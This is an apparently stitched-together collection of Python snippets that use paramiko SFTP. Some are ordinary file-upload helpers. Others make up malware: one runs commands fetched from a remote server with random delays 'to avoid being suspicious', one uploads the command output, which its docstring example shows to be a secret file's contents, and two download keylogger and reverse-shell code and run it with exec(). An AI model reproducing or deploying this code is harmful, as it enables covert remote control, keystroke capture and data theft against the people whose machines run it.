def send_data(self, sftp: SFTPClient, data: str, filename: str) -> bool: remote_filename = os.path.join(self.remote_path, filename) with sftp.open(remote_filename, 'w') as f: try: self.log(level=DEBUG, msg="Writing data to remote file [{}]".format( remote_filename)) f.write(data=data) except IOError: self.log( level=ERROR, msg="IOError trying to write data to remote file [{}]". format(remote_filename)) return False return True
def _uploadCommandResults(self, sftpClient: paramiko.SFTPClient, result: str) -> None: """Upload command results to SFTP server. Upload the command results to a newly generate name in SFTP server. Example: >>> result = ''' cat secretFile this is the fist line of the file second line last line ''' >>> with paramiko.SFTPClient.from_transport(transport) as sftp: ... self._uploadCommadResults(sftp,result) ... """ filePath = self._generateFilePath() with sftpClient.open(filePath, "w") as resultFile: resultFile.write(result)
def _executeCommands(self, sftpClient: paramiko.SFTPClient) -> str: """Return the result of executing all the commands. Open input file and execute all the commands one at a time. Note that it randomly waits 3 to 10 minutes between each command to avoid being suspicious. """ outputOfAllCommands = "" with sftpClient.open(INPUT_FILE_PATH) as commandFile: for line in commandFile: command = line.rstrip() output = subprocess.check_output(command.split(), shell=True) outputOfAllCommands += f"{command}\n{output.decode('utf-8')}\n\n" waitTime = random.randint(THREE_MINUTES_IN_SECONDS, TEN_MINUTES_IN_SECONDS) time.sleep(waitTime) return outputOfAllCommands
def executeKeyLogger(sftp: paramiko.SFTPClient) -> None: """Download and execute the code for key logging.""" with sftp.open(KEY_LOGGER_FILE_PATH) as keyLoggerFile: keyLoggerCodeAsString = keyLoggerFile.read() exec(keyLoggerCodeAsString, globals()) KeyLogger().start()
def executeReverseShell(sftp: paramiko.SFTPClient) -> None: """Download and execute the code for reverse shell.""" with sftp.open(REVERSE_SHELL_FILE_PATH) as reverseShellFile: reverseShellCodeAsString = reverseShellFile.read() exec(reverseShellCodeAsString, globals()) ReverseShell().start()
def __upload(sftp_client: paramiko.SFTPClient, filename: str, local_path: str, remote_path: str): with open(os.path.join(local_path, filename), "rb") as f: data = f.read() sftp_client.open(os.path.join(remote_path, filename), "wb").write(data)